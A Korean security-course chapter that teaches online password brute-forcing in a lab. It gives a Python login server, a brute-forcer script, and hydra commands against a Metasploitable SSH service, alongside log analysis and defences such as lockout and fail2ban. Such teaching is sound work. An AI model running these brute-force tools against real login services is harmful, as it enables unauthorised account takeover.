Step 122. 패스워드 공격 1: hydra 온라인 브루트포스 — 살아있는 문을 두드리는 공격

Step 122. 패스워드 공격 1: hydra 온라인 브루트포스 — 살아있는 문을 두드리는 공격

Level 2 — 보안 입문과 공격 스킬 기초 | 난이도 ★★★☆☆ | 예상 소요 시간 3시간

전제: Step 119~121을 마쳤다. nc와 파이썬으로 네트워크 대화를 할 수 있고, 공격이 로그에 남는다는 것을 안다.

  • 준비물: Kali와 MS2 (또는 Kali 한 대 + 파이썬 3), 텍스트 에디터
  • 주의: ⚠️ 이 챕터의 실습은 내 랩·합법 플랫폼 전용입니다. 허가 없는 시스템에 적용하면 범죄입니다.

비밀번호를 공격하는 길은 두 갈래입니다. 살아있는 로그인 창에 계속 대입하는 온라인 공격, 그리고 해시 파일을 훔쳐 와서 내 컴퓨터에서 무한정 시도하는 오프라인 공격. 오늘은 전자입니다. 온라인 공격은 느리고, 서버 로그에 전부 기록되고, 계정 잠금에 걸립니다 — 그래서 실전에서는 마지막 수단이지만, 123456 같은 비밀번호 앞에서는 여전히 강력합니다. 오늘은 이 공격을 두 개의 시선으로 체험합니다: 직접 만든 로그인 서버를 직접 만든 브루트포서로 흔들어 보고(실측), 그다음 업계 표준 도구 hydra로 MS2를 공략합니다.


1. 학습 목표

이 챕터를 끝내면 다음을 할 수 있습니다:

  • 온라인 브루트포스의 원리(워드리스트 대입)를 직접 만든 도구로 설명한다
  • 시도 속도를 측정하고, 큰 워드리스트의 소요 시간을 환산한다
  • 공격이 서버 로그에 남기는 흔적을 읽고 방어 대책과 연결한다
  • hydra의 기본 구문(-l, -L, -P, -t)으로 SSH 로그인을 공략한다
  • 온라인 공격이 왜 "마지막 수단"인지 세 가지 이유를 말한다

2. 배경 지식 — 오늘의 도구와 개념

오늘의 도구 한눈에 보기

구분 내용
언어·환경 Kali 쉘 + 파이썬 3 (http.server, urllib — 설치 불필요) + hydra
오늘의 명령 hydra -l 계정 -P 리스트 서비스://IP, head, gunzip
필요한 개념 워드리스트, 온라인 vs 오프라인, 계정 잠금, 시도 속도 환산
오늘의 산출물 간이 로그인 서버 + 브루트포서 + 공격 로그 + hydra 성공 기록

2-1. 온라인 브루트포스의 정체

원리는 단순합니다. 로그인 폼에 비밀번호 후보를 하나씩 넣어 보고, 서버의 대답(성공/실패)을 봅니다. 후보 목록을 워드리스트(wordlist)라고 부릅니다. 무작위 전체 조합(무차별 대입)은 현실적으로 불가능하므로, 실전 워드리스트는 "사람들이 실제로 쓰는 것"의 순위표입니다.

핵심은 이것입니다: 시도 한 번 한 번이 네트워크를 지나 서버의 판단을 거치는 실제 로그인입니다. 그래서 느리고, 기록되고, 막힐 수 있습니다.

2-2. rockyou.txt — 업계 표준 워드리스트

2009년 소셜 서비스 RockYou에서 평문 비밀번호 3,200만 개가 유출됐고, 그 실제 목록이 정제돼 rockyou.txt(약 1,434만 줄)로 남았습니다. Kali에는 /usr/share/wordlists/rockyou.txt.gz(압축)로 들어 있습니다. head로 앞부분을 보면 123456, password, 123456789… — 인류의 비밀번호 습관이 그대로입니다. 공격자가 이 목록을 첫 번째 무기로 쓰는 이유이고, 여러분이 Step 49에서 만든 강도 검사기가 "흔한 비밀번호 경고"를 달았던 이유입니다.

2-3. 속도·탐지·잠금의 삼각형

온라인 공격의 세 약점입니다.

  1. 느리다: 시도마다 네트워크 왕복과 서버 처리가 필요합니다. 오늘 실측에서는 내 컴퓨터 안에서조차 시도당 18.3ms였습니다. 인터넷을 건너면 100ms 이상이 보통입니다.
  2. 기록된다: 실패한 로그인은 전부 로그에 남습니다. 같은 주소에서의 연속 실패는 탐지 규칙의 교과서적 패턴입니다.
  3. 잠긴다: "5회 실패 시 잠금" 같은 정책 하나면 공격이 멈춥니다 — 그리고 잠금 자체가 방어자에게 알림이 됩니다.

이 셋 때문에 온라인 브루트포스는 "초반의 흔한 비밀번호 몇 백 개"를 노리는 제한적 수단입니다.

2-4. hydra 구문 — 한 줄의 해부

hydra -l msfadmin -P /usr/share/wordlists/rockyou.txt ssh://MS2_IP
  • -l msfadmin: 사용자명이 하나로 정해졌을 때
  • -L users.txt: 사용자명도 목록으로 돌릴 때
  • -P rockyou.txt: 비밀번호 워드리스트
  • -t 4: 동시 시도 수 (늘리면 빠르지만 티가 더 납니다)
  • ssh://MS2_IP: 대상 서비스와 주소. ftp, http-post-form 등 수십 종 지원

-V를 붙이면 각 시도를 화면에 보여 줍니다 — 처음에는 켜 두고 보세요.


3. 따라 하기

3-1. 모사 대상 — 간이 로그인 서버 만들기

온라인 공격의 "속도와 흔적"을 정직하게 재려면, 우리가 통제하는 로그인 서버가 필요합니다. 파이썬 표준 라이브러리만으로 만듭니다 (Kali의 파이썬 3에서 그대로 동작합니다. 본 교재는 2026-09-09에 실측했습니다).

입력 (login_server.py)

import json, time
from http.server import BaseHTTPRequestHandler, HTTPServer

REAL_PASSWORD = "sunshine"
LOG_PATH = "login_attempts.log"

class LoginHandler(BaseHTTPRequestHandler):
    def do_POST(self):
        length = int(self.headers.get("Content-Length", 0))
        data = json.loads(self.rfile.read(length).decode())
        user = data.get("username", "")
        pw = data.get("password", "")
        ok = (user == "admin" and pw == REAL_PASSWORD)
        with open(LOG_PATH, "a", encoding="utf-8") as fp:
            fp.write(f"{time.strftime('%H:%M:%S')} 시도: {user} / {pw} -> {'성공' if ok else '실패'}\n")
        self.send_response(200 if ok else 401)
        self.end_headers()
        self.wfile.write(b"OK" if ok else b"FAIL")

    def log_message(self, *args):
        pass

if __name__ == "__main__":
    print("로그인 서버 시작: http://127.0.0.1:9090 (admin / ???)")
    HTTPServer(("127.0.0.1", 9090), LoginHandler).serve_forever()

읽는 법: admin의 비밀번호는 sunshine입니다. 포인트는 두 곳 — 실패도 성공처럼 판정을 거치고(네트워크 왕복 + 비교), 모든 시도가 로그 파일에 기록됩니다. 이 두 줄이 온라인 공격의 세계관 전부입니다. 127.0.0.1에만 묶어 두세요.

3-2. 워드리스트 — rockyou의 축소판

실제 rockyou의 상위 순위를 흉내 낸 작은 목록을 만듭니다.

입력 (wordlist.txt)

123456
password
123456789
12345678
12345
qwerty
abc123
football
monkey
letmein
dragon
111111
baseball
iloveyou
trustno1
master
sunshine
ashley
bailey
shadow
superman
qazwsx
michael
admin

읽는 법: 17번째 줄에 정답 sunshine이 숨어 있습니다. 실제 rockyou에서도 sunshine은 상위 20위권의 단골입니다 — 이 목록 순서는 유출 통계 그 자체입니다.

3-3. 브루트포서 — 열일곱 번째 문에서 열리다

입력 (bruteforce.py)

import json, time, urllib.request, urllib.error

HOST = "http://127.0.0.1:9090"

def try_login(user, pw):
    body = json.dumps({"username": user, "password": pw}).encode()
    req = urllib.request.Request(HOST, data=body, headers={"Content-Type": "application/json"})
    try:
        urllib.request.urlopen(req, timeout=3)
        return True
    except urllib.error.HTTPError as e:
        if e.code == 401:
            return False
        raise

if __name__ == "__main__":
    words = [l.strip() for l in open("wordlist.txt", encoding="utf-8") if l.strip()]
    start = time.time()
    for i, pw in enumerate(words, 1):
        if try_login("admin", pw):
            print(f"[+] {i}번째 시도에서 돌파! admin / {pw}")
            break
    else:
        print("[-] 워드리스트 소진 — 실패")
    elapsed = time.time() - start
    print(f"시도 {i}회, {elapsed:.2f}초, 시도당 {elapsed / i * 1000:.1f}ms")

실행

python3 login_server.py &   # 터미널 1
python3 bruteforce.py       # 터미널 2

출력 (2026-09-09 실측):

[+] 17번째 시도에서 돌파! admin / sunshine
시도 17회, 0.31초, 시도당 18.3ms

읽는 법: 세 숫자를 기록하세요 — 17번째, 0.31초, 시도당 18.3ms. 같은 컴퓨터 안인데도 시도당 18ms입니다. 이 숫자로 환산해 봅시다. rockyou(약 1,434만 개) 전체를 이 속도로 돌리면 약 73시간(3일). 시도당 100ms인 인터넷 상대라면 약 16일입니다. 그리고 그 16일 동안 상대 로그에는 1,434만 줄의 실패가 쌓입니다. 온라인 공격의 시간과 흔적이 이 한 줄의 환산에서 나옵니다.

: hydra는 이 스크립트에 프로토콜 지식(SSH, FTP, 웹폼…)과 병렬화를 얹은 것입니다. 원리를 직접 만들었으니 hydra의 출력도 읽을 수 있습니다.

3-4. 방어자의 화면 — 공격 로그 읽기

입력

cat login_attempts.log

출력 (2026-09-09 실측):

15:14:08 시도: admin / 123456 -> 실패
15:14:08 시도: admin / password -> 실패
15:14:08 시도: admin / 123456789 -> 실패
(중략 — 15번 더)
15:14:09 시도: admin / sunshine -> 성공

읽는 법: 공격자가 시도한 비밀번호가 전부, 순서대로, 시각과 함께 남았습니다. 방어 규칙을 스스로 써 본다면? "같은 계정에 1분간 5회 이상 실패" 같은 조건이 자연스럽게 떠오를 겁니다 — fail2ban 같은 도구가 하는 일이 정확히 그것입니다. 그리고 마지막 "성공" 줄이 끔찍한 이유: 공격자가 들어온 순간도 로그에 있습니다.

3-5. hydra로 MS2 SSH 공략 (랩 실습, 출력 예시)

여러분의 Kali↔MS2 랩에서 진행하세요. 출력은 출력 예시입니다.

워드리스트 준비

ls /usr/share/wordlists/
sudo gunzip /usr/share/wordlists/rockyou.txt.gz   # 압축돼 있다면
head /usr/share/wordlists/rockyou.txt
123456
12345
123456789
password
iloveyou
...

공격

hydra -l msfadmin -P /usr/share/wordlists/rockyou.txt ssh://MS2_IP
[22][ssh] host: MS2_IP   login: msfadmin   password: msfadmin
1 of 1 target successfully completed, 1 valid password found

읽는 법: MS2의 기본 계정 msfadmin/msfadmin은 워드리스트 초반이라 금방 잡힙니다. 사용자명도 모를 때는 -L users.txt로 목록을 돌리고, -t 4로 동시 시도 수를 조절합니다. 잘 안 되면 -V로 시도 과정을 보세요.

흔적 확인 (MS2 쪽에서)

sudo tail /var/log/auth.log
Failed password for msfadmin from KALI_IP port 51234 ssh2
Failed password for msfadmin from KALI_IP port 51236 ssh2
...
Accepted password for msfadmin from KALI_IP port 51402 ssh2

읽는 법: 3-4의 우리 로그와 같은 그림입니다. 수십~수백 줄의 Failed 뒤에 Accepted 한 줄. "온라인 공격은 티가 난다"를 랩에서 확인하는 것이 오늘 미션의 핵심입니다.


4. 미션과 연습문제

미션 — 속도 측정과 방어 설계

  1. 3-1~3-3의 서버와 브루트포서를 완성하고, 시도 횟수·총시간·시도당 시간을 기록한다
  2. 워드리스트를 100개로 늘리고 정답을 맨 끝으로 옮겨, 최악의 경우(전부 시도)의 시간을 잰다
  3. 측정값으로 "rockyou 1,434만 개를 돌리면 며칠?"을 계산해 노트에 적는다
  4. hydra로 MS2 SSH를 공략하고, MS2의 auth.log에서 내 공격 흔적을 베껴 둔다
  5. "이 공격을 막는 방어 규칙"을 세 가지 설계해 적는다 (로그인 서버에 직접 구현해 보면 더 좋습니다)

연습문제

문제 1. 온라인 브루트포스가 느린 이유를 "시도 한 번에 드는 비용"의 관점으로 설명해 보세요.

문제 2. 워드리스트 공격이 무차별 대입(전체 조합)과 다른 점과, 그래도 강력한 이유를 말해 보세요.

문제 3. hydra 구문 hydra -l msfadmin -P rockyou.txt -t 4 ssh://IP에서 -l, -P, -t의 역할을 각각 말해 보세요.

문제 4. 계정 잠금 정책(5회 실패 시 잠금)이 공격자에게 주는 두 가지 타격을 말해 보세요.


5. 모범 답안과 완료 기준

미션 모범 답안

환산 예시 (2026-09-09 실측 기준): 시도당 18.3ms × 14,340,000개 ≈ 262,000초 ≈ 약 73시간(3일). 시도당 100ms 네트워크라면 약 398시간(약 16일). 결론 문장의 예: "온라인으로 전체 워드리스트를 도는 것은 비현실적이며, 실전에서는 상위 수백 개의 흔한 비밀번호만 노리는 제한적 수단이다."

방어 규칙 세 가지의 예: ① 연속 실패 시 계정 잠금 또는 대기 시간 증가, ② 같은 출발지 주소의 연속 실패를 차단(fail2ban 방식), ③ 비밀번호 자체를 워드리스트에 없는 긴 것으로 강제(가입 시 강도 검사 — Step 49의 도구가 여기 쓰입니다).

검증하는 법: ① 측정 숫자(횟수·시간·시도당 ms)가 기록됐는가. ② 환산 계산식이 측정값에서 출발하는가. ③ auth.log 발췌가 있는가. ④ 방어 규칙이 "로그인 시도를 감시/제한"에 닿아 있는가.

연습문제 해답

문제 1 해답. 시도마다 네트워크 왕복과 서버의 실제 인증 처리(응답 생성)를 기다려야 하기 때문입니다. 실측에서 같은 컴퓨터 안도 시도당 18.3ms였고, 원격이면 100ms 이상이 보통입니다. 이 "시도당 비용 × 후보 수"가 총시간이므로, 후보가 커질수록 온라인은 급격히 비현실적이 됩니다.

문제 2 해답. 무차별 대입은 모든 조합을 시도하고, 워드리스트 공격은 사람들이 실제로 쓴 비밀번호의 순위표를 시도합니다. 강력한 이유: 비밀번호는 균등 분포가 아니라 극심하게 쏠려 있어서(123456, password…), 상위 수백 개만으로도 상당한 비율의 계정이 열립니다. 수학적 조합 수가 높아도 "사람이 외우기 쉬운 것"은 사전 안에 있습니다.

문제 3 해답. -l은 고정 사용자명 하나(목록이면 -L), -P는 비밀번호 워드리스트 파일, -t는 동시 시도 수(병렬화 정도)입니다. 끝의 ssh://IP가 대상 서비스와 주소입니다.

문제 4 해답. 첫째, 시도 자체가 멈춰 공격이 물리적으로 진행 불가가 됩니다. 둘째, 잠금 이벤트가 로그와 알림을 발생시켜 공격의 존재가 방어자에게 알려집니다. 공격자에게 잠금은 "시간 낭비 + 발각"의 이중 손해입니다.

완료 기준 체크리스트

  • [ ] 간이 로그인 서버와 브루트포서를 직접 만들어 돌파했다
  • [ ] 시도당 시간을 측정하고 큰 워드리스트의 소요를 환산했다
  • [ ] 공격이 서버 로그에 남는 것을 확인하고 인용할 수 있다
  • [ ] hydra 기본 구문(-l/-L/-P/-t)을 조립할 수 있다
  • [ ] MS2 SSH 공략과 auth.log 흔적 확인을 랩에서 했다
  • [ ] 온라인 공격의 세 약점(느림·기록·잠금)을 말할 수 있다
  • [ ] 방어 규칙 세 가지를 설계했다

6. 흔한 실수와 해결

벽 1. 브루트포서가 첫 시도에서 죽는다

증상: urllib.error.URLError: <urlopen error [WinError 10061] ...> 또는 Connection refused.
원인: 로그인 서버가 안 켜져 있거나 포트가 다릅니다.
해결: python3 login_server.py가 떠 있는지, 양쪽의 포트(9090)가 같은지 확인하세요. 서버는 먼저 켜야 합니다.

벽 2. hydra가 계속 실패만 찍는다

증상: 분명히 msfadmin/msfadmin인데 안 잡힙니다.
원인: 워드리스트에 정답이 없거나(압축 해제 전 gz를 지정한 경우 포함), 서비스 지정이 틀렸거나, SSH가 끊겼을 수 있습니다.
해결: -V를 붙여 각 시도를 보세요. nc MS2_IP 22로 배너가 오는지 먼저 확인하고(Step 119), 워드리스트 파일이 텍스트로 풀려 있는지(head로 확인) 점검합니다.

벽 3. hydra 구문이 자꾸 헷갈린다

증상: 옵션 순서와 기호(-l/-L, -p/-P)가 섞입니다.
원인: 소문자는 "값 하나", 대문자는 "파일(목록)"이라는 규칙을 외우면 끝납니다. -l 사용자명 하나, -L 사용자명 파일, -p 비밀번호 하나, -P 비밀번호 파일.
해결: hydra -l 계정 -P 리스트 서비스://IP 뼈대를 통째로 노트에 박제해 두세요.

벽 4. 공격이 도중에 멈춘다 — 잠금에 걸렸다

증상: 어느 순간부터 전부 실패하거나 연결이 끊깁니다.
원인: 대상의 계정 잠금 또는 방화벽 차단이 발동했을 수 있습니다. 정상적인 방어 반응입니다.
해결: 랩이라면 대상을 리셋하고 -t를 낮춰 천천히 해 보세요. 실전(허가된 테스트)에서라면 잠금 발동 자체가 보고서에 쓸 "방어가 작동함"의 증거입니다.

벽 5. 워드리스트가 "너무 잘" 통과해서 의심스럽다

증상: 첫 단어 123456에서 바로 성공합니다.
원인: 실제로 그런 계정이 존재합니다 — MS2 같은 연습용 랩은 일부러 약하게 만들어져 있습니다.
해결: 정상입니다. 다만 기록하세요 — "첫 시도에서 열림"은 보고서에서 가장 강력한 한 줄이고, 실무에서도 초진단의 단골 발견입니다.


7. 정리

오늘의 개념

개념 한 줄 설명
온라인 브루트포스 살아있는 로그인에 후보를 대입하는 공격 — 느리고 기록되고 잠긴다
워드리스트 사람들이 실제로 쓰는 비밀번호의 순위표 (rockyou.txt ≈ 1,434만 개)
시도당 비용 네트워크 왕복 + 서버 인증 처리 — 온라인 공격의 시간을 결정
계정 잠금 연속 실패 시 로그인을 멈추는 방어 — 공격 중단 + 발각 알림
fail2ban 류 방어 로그의 연속 실패 패턴을 보고 출발지를 차단하는 도구

오늘의 명령어

명령 하는 일
sudo gunzip /usr/share/wordlists/rockyou.txt.gz 워드리스트 압축 해제
head /usr/share/wordlists/rockyou.txt 인류의 비밀번호 습관 구경
hydra -l 계정 -P 리스트 ssh://IP SSH 온라인 브루트포스
hydra -L users.txt -P 리스트 -t 4 ftp://IP 계정 목록 + 병렬도 조절
-V (hydra 옵션) 시도 과정 상세 보기
sudo tail /var/log/auth.log 공격 흔적 확인 (대상 쪽)

명령어보다 중요한 감각

오늘의 핵심 숫자는 "시도당 18.3ms"와 "17번째"입니다. 공격자에게 이 숫자는 시간 계산이고, 방어자에게는 탐지 윈도우입니다. 그리고 온라인 공격이 이렇게 느리고 티가 나기 때문에, 공격자는 해시 파일 자체를 훔쳐 아예 오프라인으로 가져가려 합니다 — 그 오프라인 세계에서 속도와 조용함은 완전히 다른 규칙으로 작동합니다.

방어자의 결론은 분명합니다. 서버는 시도를 전부 기록하고, 잠금과 차단 규칙을 걸고, 사용자에게는 워드리스트에 없는 긴 비밀번호를 요구하세요. 오늘 만든 브루트포서가 24개짜리 사전을 0.31초에 소진한 것처럼, 방어 없는 짧은 비밀번호는 시간이 아니라 순서의 문제입니다.


전부 체크되면 Step 122 완료입니다. 사이드바의 체크박스를 눌러 진도를 저장하세요.